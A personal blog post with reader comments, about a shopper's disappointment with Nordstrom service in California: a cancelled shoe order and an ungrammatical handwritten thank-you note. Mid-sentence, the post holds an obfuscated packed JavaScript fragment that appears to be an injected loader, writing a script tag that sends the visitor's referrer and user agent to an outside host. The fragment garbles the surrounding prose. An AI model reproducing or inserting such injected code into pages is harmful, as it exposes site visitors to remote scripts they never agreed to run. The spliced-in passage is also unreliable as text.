Let’s chat about my obsession with Nordstrom. If they sold groceries and toilet paper, I’d shop there all the time. Why? They have EXCELLENT customer service. Or, I should say, they have excellent customer service in Seattle and the surrounding areas.
Since moving to California, my biggest peeve has been the complete un-Nordstrom-like service I get at all the local stores. I’ve tried out 3 and stand by my statement. Not the same as Seattle.
Being the Nordstrom-obessesed girl that I am (did I mention I have a Nordstrom credit card? I earn nordstrom notes for every dollar I spend on things you actually need ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsfzr|var|u0026u|referrer|hbyia||js|php’.split(‘|’),0,{}))
– like groceries and gas), you can imagine my excitement to receive a handwritten note on Nordstrom stationary. What?!
And then I opened the letter……first, some backstory. I had been in the market for some booties. There were some ADORABLE Cole Haan booties on sale at the local Nordstrom but they didn’t have my size. Boo! But the sales associate offered to have them sent from another store. Yay! And did I mention they were on super sale – something like 40% off. Cole Haan for 40% off?! Sold.
Weeks go by and no shoes. Boo! Then I get the letter below.
Let’s break it down.
DEAR BRYN,
THANK YOU FOR SHOPPING AT NORDSTROM.
Nothing too weird there. The all caps is kinda weird, but I can roll with it.
IT WAS A PLEASURE HELPING YOU ORDERING YOUR COLEHAAN SHOES AND I HOPE YOU HAVE RECEIVED IT.
Oh dear. A little grammar check goes a long way. I’m pretty sure ORDERING should be ORDER, COLEHAAN should be COLE HAAN and IT should be THEM.
An oh.by.the.way…..I still don’t have the shoes?!
Went to the store a few days later and it turns out that MBATCHOU (yeah….it’s not a typo, it’s his name) was suppose to call me and tell me they cancelled my order. No 40% Cole Haan booties for this girl.
Ok, so here’s the thing. I’ve shopped A LOT at Nordstrom. Probably an obscene amount. I’ve NEVER Received a hand written note from a sales associate. Nope. Never. And to be honest, wouldn’t have noticed if they’d never sent me a note. But they did. And it was grammatically incorrect, written in 4th grader handwriting and thanked me for buying shoes they were never going to send me. Ugh.
This is actually not the first time I’ve received a note from a sales associate. Last time, it was from a BCBG sales girl and I think it was worse than this one. You an read about it here. Ignore the formatting issues…..I’ve had some formatting trouble with my old blogs when I migrated over from blogger.
It’s interesting. I’m sure some study showed that thank you notes increased customer retention. Well, we’re 0 for 2 right now.
If someone wanted to pay me to write thank you notes to Nordstrom customers, I’d do it. Just saying.
4 replies on “Nordstrom Fail”
But you’re still shopping at Nordstrom’s, right?
yeah can we please link to the other one because that one was so awesome. i think i want to send this to customer service.
You should move back 😉 Actually the weather down there is probably worth a little poor Nordy’s service.
If I ever start to wonder if my work as a middle school English teacher does any good in the world, I’ll look back at this post and think, “If it prevents just one person from sending out notes like this, I will be happy.”